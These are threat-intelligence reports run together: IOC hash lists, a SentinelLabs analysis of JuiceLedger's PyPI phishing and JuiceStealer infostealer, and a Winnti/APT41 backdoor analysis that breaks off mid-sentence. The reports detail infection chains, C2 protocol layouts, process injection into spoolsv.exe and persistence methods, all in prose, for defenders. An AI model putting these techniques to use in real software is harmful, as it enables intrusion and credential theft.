6e461a8430f251db38e8911dbacd1e72bce47a89c28956115b702d13ae2b8e3b - 7dd7cc9e90b074ecc3d8f5540864e105fc0cc034a18a0681bd0ab14252bd0387 - 023cee622d8ddd7afd7603c1ba13447931508140cfe0dfd85bf4adc5b0d2cf8e - 63d9a5ef92a18dc7238bcc59330b41149cec4ef7602b18c0b99abdae83c0114c - adbb67b004131990598009162a195b04107231a79de25945de94d2978f96dcd5 - 39e4e3637e651d2d8251c0f891dc4b0f0494c9bada2da930761d3fe6cc6ebaae - 6aeebb3cdb2ca9b325e042e76d195a5ac958b119baa559532c22d344f1491a30 - fb95a719c4b26bb577cea5837cac6ba9fdfcfd240bc2fc7b1d0759bf392d5191 - dd185667015d23438a994adc9e9b30572a1e7479c05f563e0b6c71b8c6023685 - 2cbafd6a0461e7ae1929897a8039ce5f198b76281465c49b4547abf9a139dd89 - b6f8b5ba026af863e878eded79f40e5efa1dd7ce725cd0479e5f062dbf4fdd4f - cfbe077d7a4807203c889292668695e114ed9524a11a00b0d670a2f4da74a27c ### Appendix C – Associated Android Malware Samples - d909669b000c479b8bdd9f86fa62879a7c8b4dca8cde4f4a404862a4604c52e2 - b6abeffe986eb38e411a4fe956280e2028d8bef699d9dd3244bde721a99b1dee - c1564c56c46146db36ec97afd994c45f3621f39c82cc692adba5b9f6d9a62897 - c20438ba8c9e008c1e2eb4343f177757fc260437aeac52df61b156671b07ac14 - 5f3b4eddcc72598721b9ca395d1e5881acbd4fc562e09b688b2d42f65d3a4a93 - 544a1c303ef021f0d54e62a6147c7ae9cd0c84265e302f6da5ed08b616e45b78 - 522ae87e792fd0b2021af0edcdad283505d6258316783c489f37234231b9d6bf - 22078e0d00d6a0f0441b3777e6a418170e3a9e4cce8141f0da8af044fdc1e266 - 58e70e498397acae9b5e84a153e27578ee25e0ee0aca16bcf8a1746423f210f6 - e23d689ff3907cbc6f495d1ebaa9c4cdf6f93f9fd26b790f60680dedf489618 - 02e1692dbc95bffe12083786208a966bf6b184a428378aabebbd3fee501021c5 - 758dc6aff09885abf9a6503e4a6473bca83c878f6131acf41290a3c8a5df7cdb - f67356c2bcd99009f1d68806a1214b4108771926e423908d8997cd881277e76e - d066c1c5eccfcf64e8398a49ac7efacc9d70a8c8544fb71ba22e0e2f77bff543 - 16b4d65abf95cfb3cedd39b217ff0e4ee2229ae32aeda5170f34c5a3b9c5a0f3 - 43f2e20933638594c02c83e85bc058b46c308b4f851477e2c0a2a92b4fb1168b - 2a28c199eeb622fedc9b0b16f65f9a2da113dddd264966a76654546ce70804a4 - 53ca656dd54c14b14ddc758e2160443e1d5d761ffecb37e15216da67fc94c468 ### Appendix D – Observed PDB Strings - C:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb - C:\Users\Yousef\Desktop\MergeFiles\Loader v0\Loader\obj\Release\Loader.pdb - c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\s7 – Copy – Copy 19-2-17\Release\s7.pdb - c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\s7\Release\s7.pdb - C:\Users\Progress\Desktop\Loader v0\Loader\obj\Release\Loader.pdb - D:\Merge\Debug\testproj.pdb - c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper – Copy – 21-2-17\Release\kasper.pdb - C:\Users\Yousef\Desktop\MergeFiles\merge photos\Loader v0\Loader\obj\Release\Loader.pdb - C:\Users\Yousef\Desktop\Loader v0\Loader\obj\Release\Loader.pdb
# PortDoor | Indicators of Compromise **Phishing Email** 48a312bfbcd16 74501a633fbdc aa99a487e6260 414a6e450a199 82578b128a52 **Weaponized RTFs** 774a54300223b421854d2e90bcf7 5ae25df75ba9f3da1b9eb01138301 cdd258f B60c9b59e03101277196bce5977 01eab5cfb0fd6b37442a5029673a1 **Backdoor** 2d705f0b76f24a18e08163 db2f187140ee9f03e43697 a9ea0d840c829692d43 **C2** 45.63.27[.]162 1ffb9295 Aec6271de4436ddf0067e67c389c bddb82f73d749e4713f5c8b375ad0 ee7da9c
# PyPI Phishing Campaign | JuiceLedger Threat Actor ## Executive Summary JuiceLedger is a relatively new threat actor focused on infostealing through a .NET assembly called ‘JuiceStealer’. JuiceLedger has rapidly evolved its attack chain from fraudulent applications to supply chain attacks in little over 6 months. In August, JuiceLedger conducted a phishing campaign against PyPI contributors and successfully compromised a number of legitimate packages. Hundreds of typosquatting packages delivering JuiceStealer malware have been identified. At least two packages with combined downloads of almost 700,000 were compromised. PyPI says that known malicious packages and typosquats have now been removed or taken down. ## Overview SentinelLabs, in collaboration with Checkmarx, has been tracking the activity and evolution of a threat actor dubbed “JuiceLedger”. In early 2022, JuiceLedger began running relatively low-key campaigns, spreading fraudulent Python installer applications with ‘JuiceStealer’, a .NET application designed to steal sensitive data from victims’ browsers. In August 2022, the threat actor engaged in poisoning open-source packages as a way to target a wider audience with the infostealer through a supply chain attack, raising the threat level posed by this group considerably. JuiceLedger operators have actively targeted PyPI package contributors in a phishing campaign, successfully poisoning at least two legitimate packages with malware. Several hundred more malicious packages are known to have been typosquatted. In this post, we detail the evolution of JuiceLedger, describe the group’s attack vectors and activity, and provide an analysis of the JuiceStealer payload. ## Dual Pronged Attack – Fake Apps and Supply Chain Attacks The supply chain attack on PyPI package contributors appears to be an escalation of a campaign begun earlier in the year which initially targeted potential victims through fake cryptocurrency trading applications, among them a bot the threat actors marketed as an “AI Crypto trading bot” named “The Tesla Trading bot”. The attack on PyPI in August involves a far more complex attack chain, including phishing emails to PyPI developers, typosquatting, and malicious packages intended to infect downstream users with the JuiceStealer malware. This vector seems to be utilized in parallel to the earlier JuiceLedger infection method, as similar payloads were delivered around the same time through fake cryptocurrency ledger websites. ## Targeting PyPI Contributors On August 24, 2022, PyPI published details of an ongoing phishing campaign targeting PyPI users. According to their report, this is the first known phishing attack against PyPI. The phishing email states that a mandatory ‘validation’ process requires the contributor to validate their package or risk having it removed from PyPI. The phishing emails point victims to a Google site’s landing page mimicking the PyPI login page. The credentials provided there were sent to a known JuiceLedger domain: linkedopports[.]com. Some of those phishing attacks appear to have been successful, leading to the compromise of legitimate code packages whose contributors' credentials were compromised. PyPI also reported that they had found a number of typosquatting packages that conformed to a similar pattern; JuiceLedger has also used typosquatting to deliver its malicious applications. Typosquatting popular code packages is nothing new. Reports of similar attacks have emerged during the last few years, including the CrateDepression campaign targeting Rust developers and recently reported by SentinelLabs. Compromised packages uploaded by JuiceLedger in the August campaign contain a short code snippet, responsible for downloading and executing a signed variant of JuiceStealer. The malicious code added is depicted below. The code snippet added to those packages is quite similar to the ones added in the typosquatting packages. According to PyPI, the malicious code snippets were found on the following packages: - exotel==0.1.6 - spam==2.0.2 and ==4.0.2 A look at the code snippet from compromised packages suggests that the actors added an indication of the compromised package in the registration URL. JuiceLedger’s August campaign also contained a Ledger-themed fraudulent application. Users of Ledger, a hardware “cold storage” wallet technology for crypto assets, have been targeted with a digitally-signed version of JuiceStealer embedded in fake Ledger installation packs. ## Analysis of JuiceStealer Malware JuiceLedger’s infostealer, dubbed JuiceStealer, is a relatively simple .NET application, internally named “meta”. First indications of the stealer started emerging in February this year. Over several iterations, the infostealer was embedded in a number of fraudulent applications and installers. ### Python Installers The first version of JuiceStealer, uploaded to VirusTotal on February 13, appears to be incomplete and may be a test submitted by the developers. It is the first in a set of variants mimicking Python installers. This sample iterates over processes containing the word “chrome”, shuts them down and then searches for Google Chrome Extension log files. The infostealer iterates over logs that contain the word “vault”, possibly searching for cryptocurrency vaults, and reports back to an embedded C2 server over HTTP. A fully fledged version of the fraudulent installer was submitted a few days later as part of a zip file named “python-v23.zip”, containing a newer version of the infostealer, a legitimate Python installer and an instruction file, “INSTRUCTIONS.exe”. This version of the infostealer introduces a new class, named ‘Juice’ (hence the name), and also searches for Google Chrome passwords, querying Chrome SQLite files. It also launches a Python installer contained in the zip named “config.exe”. Naming legitimate software “config.exe” appears to be common in various JuiceStealer variants. Like many of the JuiceStealer samples we analyzed, it was compiled as a self-contained .NET app. This makes the files significantly larger. A pdb path common to many earlier versions of the JuiceStealer contains the user name “reece” and internal project name “meta”. ## Evolution of JuiceStealer Pivoting off the pdb paths observed, we were able to link additional activities to JuiceLedger. Those, together with our additional findings of the development phases of JuiceStealer, suggest the group began operating in late 2021. ### Pre-JuiceStealer Fake Installers On January 30, a set of three fake installers compiled as self-contained applications were uploaded to VirusTotal from the submitter f40316fe, located in GB. The same submitter also uploaded the first variant of JuiceStealer, which also appears to be a test. All the fake installers had a similar pdb path, containing the username “reece”, and appear to be the threat actor’s first iterations of the JuiceStealer. ## Nowblox Scam Website Throughout the research, we came across a possible connection to Nowblox, a scam website that operated in 2021, offering free Robux. Several applications named “Nowblox.exe” were systematically uploaded to VirusTotal from submitters in GB, all with the following pdb path: While the path on its own is not a very strong indication, we came across another link to Nowblox in our research, in the form of a file named “NowbloxCodes.iso”. The use of an ISO file might suggest it was sent out in a phishing email, as ISO files have become a popular attack vector for bypassing email security products. However, we have no data to validate this. The file contains an LNK file, triggering the execution of an obfuscated PowerShell command, which in turn runs mstha to load an .HTA file from hxxps://rblxdem[.]com/brace.hta, which is currently offline. The domain rblxdem[.]com is hosted on 45.153.35[.]53, which was used to host several Ledger phishing domains as well as a JuiceStealer C2 domain thefutzibag[.]com, providing another possible link to JuiceLedger. ## Fraudulent Apps – The Tesla Trading Bot Over time, JuiceLedger operators started using direct crypto-themed fraudulent applications, among them, an application they named “Tesla Trading bot”. Delivered in a similar scheme to the Python installer, it was embedded within a zip file with additional legitimate software. The JuiceStealer has evolved significantly during this period, adding support both for additional browsers as well as Discord. The embedded instructions message is very similar to the one found in the fake Python installer, prompting users to disable their security solutions. ## PyPI Response PyPI have stated that they are actively reviewing reports of malicious packages and have taken down several hundred typosquats. Package maintainers are urged to use 2FA authorization on their accounts where available and to confirm that the URL in the address bar is http://pypi.org when entering credentials. Users can also check that the site’s TLS certificate is issued to pypi.org. Maintainers who believe they may have been victim of a JuiceLedger attack are advised to reset passwords immediately and to report any suspicious activity to [email protected]. ## Conclusion JuiceLedger appears to have evolved very quickly from opportunistic, small-scale infections only a few months ago to conducting a supply chain attack on a major software distributor. The escalation in complexity in the attack on PyPI contributors, involving a targeted phishing campaign, hundreds of typosquatted packages and account takeovers of trusted developers, indicates that the threat actor has time and resources at their disposal. Given the widespread use of PyPI and other open source packages in enterprise environments, attacks such as these are a cause of concern and security teams are urged to review the provided indicators and take appropriate mitigation measures. ## Indicators of Compromise ### Fake Python installers - 90b7da4c4a51c631bd0cbe8709635b73de7f7290 - dd569ccfe61921ab60323a550cc7c8edf8fb51d8 - 97c541c6915ccbbc8c2b0bc243127db9b43d4b34 - f29a339e904c6a83dbacd8393f57126b67bdd3dd - 71c849fc30c1abdb49c35786c86499acbb875eb5 - 2fb194bdae05c259102274300060479adf3b222e ### Nowblox ISO file - 5eb92c45e0700d80dc24d3ad07a7e2d5b030c933 - e5286353dec9a7fc0c6db378b407e0293b711e9b ### CryptoJuice Samples | SHA1 | Submission Date | Domain | |-----------------------------------------------------------|-----------------|-------------------------| | cbc47435ccc62006310a130abd420c5fb4b278d2 | 2022-08-24 | linkedopports[.]com | | 8bbf55a78b6333ddb4c619d615099cc35dfeb4fb | 2022-08-24 | linkedopports[.]com | | bac2d08c542f82d8c8720a67c4717d2e70ad4cd9 | 2022-08-23 | linkedopports[.]com | | 567e1d5aa3a409a910631e109263d718ebd60506 | 2022-08-23 | linkedopports[.]com | | 1e697bc7d6a9762bfec958ee278510583039579c | 2022-08-23 | linkedopports[.]com | | ea14f11e0bd36c2d036244e0242704f3cf721456 | 2022-08-20 | ledgrestartings[.]com | | 5703ed6565888f0b06fffcc40030ba679936d29f | 2022-08-20 | ledgrestartings[.]com | | cd0b8746487d7ede0ec07645fd4ec655789c675b | 2022-08-18 | python-release[.]com | | d3ed1c7c0496311bb7d1695331dc8d3934fbc8ec | 2022-08-18 | python-release[.]com | | 0a6731eba992c490d85d7a464fded2379996d77c | 2022-08-18 | python-release[.]com | | a30df748d43fbb0b656b6898dd6957c686e50a66 | 2022-08-08 | python-release[.]com | | 52b7e42e44297fdcef7a4956079e89810f64e113 | 2022-08-08 | python-release[.]com | | aa8c4dffeeacc1f7317b2b3537d2962e8165faa2 | 2022-08-05 | thefutzibag[.]com | | a6348aea65ad01ee4c7dd70b0492f308915774a3 | 2022-08-05 | thefutzibag[.]com | | b305c16cb2bc6d88b5f6fe0ee889aaf8674d686e | 2022-05-04 | ledge-pc[.]com | | 666e5554ccdafcb37a41f0623bb9acc53851d84f | 2022-04-06 | trezsetup[.]com | | 463897fa2dd2727a930b8f3397d10a796b6aa0d6 | 2022-04-06 | trezsetup[.]com | | e2e239f40fdb2e5bf9d37b9607b152f173db285c | 2022-03-30 | axiesinfintity[.]com | | c0e3c2436e225f7d99991a880bf37d32ff09c5bd | 2022-03-27 | axiesinfintity[.]com | | 6f3c5a06d1a53fac45182e76897e7eab90d4a186 | 2022-03-22 | campus-art[.]com | | bd7eb97b3dc47e72392738d64007df5fc29de565 | 2022-03-21 | campus-art[.]com | | de4596669f540b8bd34aa7cbf50e977f04f3bba3 | 2022-03-20 | teslatradingbot[.]com | | 55ba11f522532d105f68220db44392887952e57b | 2022-03-14 | barkbackbakery[.]com | | 9e9c6af67962b041d2a87f2abec7a068327fa53a | 2022-03-13 | barkbackbakery[.]com | | ed9a4ce2d68d8cc9182bb36a46d35a9a8d0510cb | 2022-03-06 | capritagworld[.]com | | f10006f7b13e4746c2293a609badd2d4e5794922 | 2022-03-06 | capritagworld[.]com | | f07954ba3932afd8ad7520c99a7f9263aa513197 | 2022-03-06 | teslatradingbot[.]com | | 56e3421689d65e78ff75703dd6675956b86e09e8 | 2022-03-05 | ideasdays[.]com | | 004c66532c49cb9345fc31520e1132ffc7003258 | 2022-03-05 | ideasdays[.]com | | 6fe5f25205679e148b7b93f1ae80a659d99c7715 | 2022-03-04 | teslatradingbot[.]com | | 964e29e877c65ff97070b7c06980112462cd7461 | 2022-03-02 | teslatradingbot[.]com | | 225638350f089ee56eae7126d048b297fce27b7d | 2022-02-28 | hitwars[.]com | | 9fb18a3426efa0034f87dadffe06d490b105bda3 | 2022-02-28 | hitwars[.]com | | a78dd3cd9569bd418d5db6f6ebf5c0c5e362919b | 2022-02-18 | barkbackbakery[.]com | | d249f19db3fe6ea4439f095bfe7aafd5a0a5d4d2 | 2022-02-13 | barkbackbakery[.]com |
# Higaisa or Winnti? APT41 Backdoors, Old and New The PT Expert Security Center regularly spots emerging threats to information security, including both previously known and newly discovered malware. During monitoring in May 2020, we detected several samples of new malware that at first glance would seem to belong to the Higaisa group. However, detailed analysis pointed to the Winnti group (also known as APT41, per FireEye) of Chinese origin. Subsequent monitoring led us to discover a number of new malware samples used by the group in recent attacks. These include various droppers, loaders, and injectors; Crosswalk, ShadowPad, and PlugX backdoors; and samples of a previously undescribed backdoor that we have dubbed FunnySwitch. We can confidently state that some of these attacks were directed at a number of organizations in Russia and Hong Kong. In this article, we will share the results of our investigation of these samples and related network infrastructure, as well as overlaps with previously described attacks. ## 1. Higaisa Shortcuts The first attack dates to May 12, 2020. At the core of the attack is an archive named `Project link and New copyright policy.rar` (75cd8d24030a3160b1f49f1b46257f9d6639433214a10564d432b74cc8c4d020). The archive contains a bait PDF document (`Zeplin Copyright Policy.pdf`) plus the folder `All tort's projects - Web lnks` with two shortcuts: - `Conversations - iOS - Swipe Icons - Zeplin.lnk` - `Tokbox icon - Odds and Ends - iOS - Zeplin.lnk` The structure of malicious shortcuts resembles the sample `20200308-sitrep-48-covid-19.pdf.lnk` spread by the Higaisa group in March 2020. The mechanism for initial infection is fundamentally the same: trying to open either of the shortcuts leads to running a command that extracts a Base64-encoded CAB archive from the body of the LNK file, after which the archive is unpacked to a temporary folder. Further actions are performed with the help of an extracted JS script. But here is where the similarity with the sample described in our Higaisa report ends: instead, this script copies the payload to the folder `C:\Users\Public\Downloads`, achieves persistence by adding itself to the startup folder and adding a scheduler task, and runs the payload. The script also sends the output of `ipconfig` in a POST request to `http://zeplin.atwebpages[.]com/inter.php`. The command run by the shortcut also contains the opening of a URL file extracted from the archive. The name of the URL file and the target address depend on which shortcut is opened: - `Conversations - iOS - Swipe Icons - Zeplin.url` goes to: `https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61df` - `Tokbox icon - Odds and Ends - iOS - Zeplin.url` goes to: `https://app.zeplin.io/project/5c161c03fde4d550a251e20a/screen/5cef98986801a41be35122bb` This is the only difference between the two LNK files. In both cases, the target page is hosted on Zeplin, a legitimate service for collaboration between designers and developers, and requires logging in to view. The payload consists of two files: - `svchast.exe`: It functions as a simple local shellcode loader. The shellcode is read from a fixed path. Before starting, the loader checks the current year: 2018, 2019, 2020, or 2021. - `3t54dE3r.tmp`: The shellcode containing the main payload is the Crosswalk backdoor. On May 30, 2020, a new malicious archive, `CV_Colliers.rar` (df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d), was detected. It had two shortcuts: - `Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk` - `International English Language Testing System certificate.pdf.lnk` Their structure fully matched that of the samples from May 12. In this case, the bait consisted of PDF documents with a CV and IELTS certificate. Depending on which shortcut was opened, the output of `ipconfig` was sent to one of two addresses: `http://goodhk.azurewebsites[.]net/inter.php` or `http://sixindent.epizy[.]com/inter.php`. Note that all three intermediate C2 servers are on third-level domains on a free hosting service. When accessed in a browser, each displays a different decoy page. These servers do not play a major role in the functioning of the malware; their precise purpose remains unknown. It may be that the malware authors used this to monitor the success of the initial stages of infection or else tried to lead security teams "off the scent" by masking the malware as a more minor threat. ### 1.1 Attribution These attacks have been studied in detail by Malwarebytes and Zscaler. Based on the similarity of the infection chains, researchers classify them as belonging to the Higaisa group. However, detailed analysis of the shellcode demonstrates that the samples actually belong to the Crosswalk malware family. Crosswalk appeared no later than 2017 and was mentioned for the first time in a FireEye report on the activities of the APT41 (Winnti) group. The network infrastructure of the samples overlaps with previously known APT41 infrastructure: at the IP address of one of the C2 servers, we find an SSL certificate with SHA-1 value of `b8cff709950cfa86665363d9553532db9922265c`, which is also found at IP address `67.229.97[.]229`, referenced in a 2018 CrowdStrike report. Going further, we can find domains from a Kaspersky report written in 2013. All this leads us to conclude that these LNK file attacks were performed by Winnti (APT41), which "borrowed" this shortcut technique from Higaisa. ### 1.2 Crosswalk Crosswalk is a modular backdoor implemented in shellcode. The main component connects to a C2 server, collects and sends system information, and contains functionality for installing and running up to 20 additional modules received from the server as shellcode. The information collected by the module includes: - OS uptime - Network adapter IP addresses - MAC address of one of the adapters - Operating system version and whether it is 32-bit or 64-bit - Username - Computer name - Name of running module - PID - Shellcode version and whether it is 32-bit or 64-bit (The shellcode supports both 32 and 64 bits.) It has two-part version numbers; we found ones including 1.0, 1.10, 1.21, 1.22, 1.25, and 2.0. For more detailed analysis of one version of Crosswalk, see the VMware CarbonBlack investigation. Based on version 1.25 (8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996), which was used in the attacks with LNK files, here we will describe the networking aspects of the malware in more detail. Crosswalk has broad capabilities for connecting to C2 servers. The network configuration for this particular sample is at the end of the shellcode and is XOR encrypted with a 16-byte key. The data structure is as follows: - Configuration size (4 bytes) - Key (16 bytes) - Encrypted configuration The configuration, in turn, contains the following fields: - 0x0 heartbeat interval (in seconds) - 0x4 reconnect interval (in seconds) - 0x8 bitmask for days of the week when connections may be made - 0xC (inclusive) lower bound for time of day when connections may be made - 0x10 (non-inclusive) upper bound for time of day when connections may be made - 0x14 proxy port - 0x18 proxy type - 0x1C proxy host - 0x9C proxy username - 0x11C proxy password - 0x19C number of C2 servers - 0x1A0 array of structures of C2 servers A C2 server structure consists of the following fields: - 0x0 connection type - 0x4 port - 0x8 whether DNS name resolution is necessary (yes/no) - 0xC length of hostname - 0x10 hostname Before attempting to connect, the backdoor checks whether the current day of the week and time match those allowed in the configuration. Then, one after the other, it tries combinations of possible proxy servers (any indicated in the configuration plus system proxies) and C2 servers until it connects successfully. The communication protocol used between the backdoor and C2 server can be separated logically into two levels: 1. Application-level protocol 2. Transport-level protocol On the application level, messages consist of the following fields: - FakeTLS header consisting of 5 bytes: - Entry type and protocol version (3 bytes). For the client these always equal `17 03 01`; for the server, they have random values. - Data length, not including header (2 bytes) - Message contents: - Command ID (4 bytes, little-endian) - Command data size (4 bytes, little-endian) - Client ID (36 bytes), generated based on the UUID when the backdoor starts operation - Command data The first two client–server and server–client messages have command IDs `0x65` and `0x64`, respectively. They contain the data that will then be used to generate the client and server session keys. The key generation algorithm is detailed in a Zscaler report. For all subsequent messages, the content (not including the FakeTLS header) is transferred in the corresponding encrypted session key. AES-128 is the encryption algorithm used. The transport-level protocol depends on the connection type indicated in the configuration. Four protocols are supported: 1. Standard TCP connection: Application-level messages are sent unchanged as TCP segments. 2. Equivalent to HTTP Long Polling: The client creates two TCP connections. The first will be used to get packets from the server, and the second to send them. During the first connection, a GET request is sent to the C2 server. The server replies with headers with code 200 and Content-Length: 524288000. The subsequent stream of application-level messages from the server to the client is sent as the body of an HTTP response. 3. Duplication of socket with TLS connection: The client establishes a TCP connection and sends an HTTPS request. The HTTPS connection is not used again. Subsequent messages are exchanged in the original TCP connection (without TLS encryption). 4. KCP protocol: This protocol can be implemented on top of any other protocol (including UDP) to ensure quick and reliable data transfer. The Crosswalk client uses KCP on top of a TCP connection: KCP protocol data is added to application-level messages that are then sent as TCP segments. Note that in the Crosswalk samples we detected, none of the samples used the KCP protocol in practice. But the code contains a full-fledged implementation of this protocol, which could be used in other attacks: the developers would simply need to set this connection type in the configuration. The diversity of protocols and techniques would seem to protect the backdoor from network traffic inspection. ## 2. Loaders and Injectors Investigation of network infrastructure and monitoring of new Crosswalk samples put us onto the scent of other malicious objects containing Crosswalk shellcode as their payload. We can categorize these objects into two groups: local shellcode loaders and injectors. Some of the samples in both groups are also obfuscated with VMProtect. ### 2.1 Injectors The injectors contain typical code that obtains `SeDebugPrivilege`, finds the PID of the target process, and injects shellcode into it. Depending on the sample, `explorer.exe` and `winlogon.exe` are the target processes. The samples we found contain one of three payloads: - Crosswalk - Metasploit stager - FunnySwitch Crosswalk and FunnySwitch shellcode is located in the data sections "as-is," while the samples with Metasploit show additional XOR encryption with the key "jj1". ### 2.2 Local Shellcode Loaders The main function of the malware is to extract shellcode and run it in an active process. The malware samples belong to one of two categories, based on the source of shellcode that they use: in the original executable or in an external file in the same directory. Most of the loaders start by checking the current year, much like the samples from the LNK file attacks. After the malware finds the API functions it needs, it decrypts the string `Global\0EluZTRM3Kye4Hv65IGfoaX9sSP7VA` with the ChaCha20 algorithm. In one older version, to prevent being run twice the loader creates a mutex with the name `Global\5hJ4YfUoyHlwVMnS1qZkd2tEmz7GPbB`. But in recent samples, the decrypted string is not used in any way. Perhaps part of the code was accidentally deleted during the development process. Another artifact found in some samples is the unused string `CSPELOADKISSYOU`. Its purpose remains unclear. In the self-contained loaders, the shellcode is located in a PE file overlay. The shellcode is stored in a curious way: data starts from 0x60 bytes of the header, followed by the (encrypted) shellcode. The data length is stored at offset –0x24 from the end of the executable. The header always starts with the PL signature. The other header data is used for decryption: a 32-byte key is located at offset 0x28 and a 12-byte nonce for the ChaCha20 algorithm is at offset 0x50. Older loader versions use Cryptography API: Next Generation (BCrypt functions) in an equivalent way. They use AES-128 in CFB mode as the encryption algorithm. The loaders that rely on external files have a similar code structure and one of two encryption types: ChaCha20 or AES-128-CBC. The file should contain PL shellcode of the same format as in the self-contained loader. The name depends on the specific sample and is encrypted with the algorithm used in it. It can contain a full file path (although we did not detect any such samples) or a relative path. Among all the loaders, we encountered three different shellcode payloads: - Crosswalk - Metasploit stager - Cobalt Strike Beacon ### 2.3 Attack Examples #### 2.3.1 An Encrypted Resume This malicious file is a RAR archive, `electronic_resume.pdf.rar` (025e053e329f7e5e930cc5aa8492a76e6bc61d5769aa614ec66088943bf77596), with two files: The first file might look like bait, but trying to open it in a PDF viewer gives an error, since it is practically a copy of the latter. The file `Электронный читатель резюме.exe` ("Electronic reader resume.exe") is an executable self-contained loader for PL shellcode. It contains Cobalt Strike Beacon as the payload. The archive was distributed on approximately June 1, 2020, from the IP address `66.42.48[.]186` and was available at `hxxp://66.42.48[.]186:65500/electronic_resume.pdf.rar`. The same IP address was used as C2 server. The modification time of the archive files, as well as the date on which the archive was found on the server, point to the attack being active in late May or early June. The Russian filenames suggest that the targets were Russian-speaking users. #### 2.3.2 I Can't Breathe The attack is practically identical to the previous one: malware is distributed in a RAR archive `video.rar` (fc5c9c93781fbbac25d185ec8f920170503ec1eddfc623d2285a05d05d5552dc) and consists of two .exe files. The archive is available on June 1 on the same server at the address `hxxp://66.42.48[.]186:65500/video.rar`. The executable files are self-contained loaders of Cobalt Strike Beacon PL shellcode with a similar configuration and the same C2 server. The bait is notable for the topic: the hackers were attempting to exploit U.S. protests related to the death of George Floyd. The main bait was a video with the name "I can't breathe-America's Black Death protests that the riots continue to escalate and ignite America!.mp4" involving reporting on protests in late May 2020. #### 2.3.3 Chat Transcript The archive `запись чата.7z` ("chat transcript.7z") (e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae) contains three identical executable files with names resembling `запись чата-1.png____________________________________.exe` ("chat transcript-1.png____________________________________.exe") in attacks again targeting Russian-speaking users. The malicious files are self-contained PL shellcode loaders, but the payload here is Crosswalk version 2.0. Its configuration implies three ways to connect to the C2 server at `149.28.23[.]32`: - Transport protocol 3, port 8443 - Transport protocol 2, port 80 - Transport protocol 1, port 8080 ## 3. Attacks on Russian Game Developers The Winnti group first became famous for its attacks on computer game developers. Such attacks continue today, and Russian companies are also among their targets. ### 3.1 Unity3D Game Developer from St. Petersburg The attack is based on the archive `Resume.rar` (4d3ad3ff281a144d9a0a8ae5680f13e201ce1a6ba70e53a74510f0e41ae6a9e6), which contains just one file: `CV.chm`. Running the file without security updates installed causes two windows to appear simultaneously: CHM help in HTML Help and a PDF document. They contain the same information: a curriculum vitae for the position of game developer or database manager at a St. Petersburg company. The CV contains plausible contact information, with a St. Petersburg address, email address ending with "@yandex.ru", and phone number starting with "+7" (Russia's country code). The only obviously fake aspect is the phone number: 123-45-67. The PDF file opens due to the script `pass.js`, which is contained in the CHM file and referenced in the code of the HTML page. The script uses a technique for running an arbitrary command in a CHM file via an ActiveX object. This unpacks an HTML help file to the folder `C:\Users\Public` for launching the next stage of the infection: the file `resume.exe`, which is also embedded inside the CHM file. `resume.exe` is an advanced shellcode injector of which we had encountered only one sample as of the writing of this article. Before it gets down to business, this malware, like many other samples we have seen from Winnti, checks the current year. Current processes are checked and the malware will not run if any of the following are active: `ollydbg.exe`, `ProcessHacker.exe`, `Fiddler.exe`, `windbg.exe`, `tcpview.exe`, `idaq.exe`, `idaq64.exe`, `tcpdump.exe`, `Wireshark.exe`. On first launch, shellcode will be taken from `MyResume.pdf`; on subsequent launches, `winness.config` is the shellcode source. `MyResume.pdf` is unpacked from the CHM file. Data read by `resume.exe` has been added to the end of the PDF file. If the user opens it directly, a message warns that the document is password-protected. Compared to the PL shellcode, the data structure is more complex and contains the following: - ROR-13 hash of data starting from byte 0x24 (0x20, 4 bytes) - Nonce for algorithm ChaCha20 (0x24, 12 bytes) - ChaCha20-encrypted text (0x30): - Name of PDF file (+0x0) - Size of PDF file (+0x20) - Size of auxiliary shellcode (+0x24) - Size of main shellcode (+0x28) - Constant 0xE839E900 (+0x2C) - PDF file - Auxiliary shellcode - Main shellcode On first launch of `resume.exe`, the encrypted portion of the data is decrypted (the key is hard-coded in the executable) and three sections are extracted (PDF, auxiliary shellcode, and main shellcode). The PDF file is saved with a name resembling `_797918755_true.pdf` in a temporary folder. It then opens for the user. The payload runs in a new process `%windir%\System32\spoolsv.exe`, into which the main shellcode is injected: Cobalt Strike Beacon with C2 address `149.28.84[.]98`. Injection occurs by creating a section via a `ZwCreateSection` call, getting access to it from the parent and child processes via `ZwMapViewOfSection` calls, copying shellcode to the section, and placing a jump to the shellcode at the entry point for `spoolsv.exe`. For persistence, `resume.exe` (under the name `winness.exe`) is copied to the folder `%appdata%\Microsoft\AddIns\` and the main shellcode is re-encrypted and saved in the same location, with the name `winness.config`. To ensure autostart, auxiliary shellcode writes the file `svchost.bat`, which transfers control to `winness.exe`, to the startup folder. For avoiding detection at this stage, the auxiliary shellcode is injected in a similar way into `spoolsv.exe`, independently loads the necessary functions, and writes to file in a separate thread. When `winness.exe` runs after a restart, the main shellcode is decrypted from `winness.config` and injected into `spoolsv.exe` in exactly the same way. ### 3.2 HFS with a Surprise On June 23, 2020, while investigating Winnti network infrastructure, we detected an active HttpFileServer on one of the active C2 servers. Four images were there for all to see: an email icon, screenshot from a game with Russian text, screenshot of the site of a game development company, and a screenshot of information about vulnerability CVE-2020-0796 from the Microsoft website. The screenshots related to Battlestate Games, the St. Petersburg-based developer of Escape from Tarkov. Almost two months later, on August 20, 2020, the file `CV.pdf____________________________________________________________.exe` (e886caba3fea000a7de8948c4de0f9b5857f0baef6cf905a2c53641dbbc0277c) was uploaded to VirusTotal. This file is a self-contained loader for Cobalt Strike Beacon PL shellcode. Its C2 server is interesting: `update.facebookdocs[.]com`. We discovered that the main domain `facebookdocs[.]com` hosted a copy of the official site of Battlestate Games: `www.battlestategames.com`. Via an associated C2 IP address (`108.61.214[.]194`), we found an equivalent page on the phishing domain `www.battllestategames[.]com` (note the double "l"). When used as C2 servers, such domains give attackers the ability to mask malicious traffic as legitimate activity within the company. The combination of these two finds makes us think that we detected traces of preparation for, and subsequent successful implementation of, an attack on Battlestate Games. Moreover, the match between the job listing for Unity3D developer (as seen in the screenshot from the official site) and contents of the curriculum vitae in the file 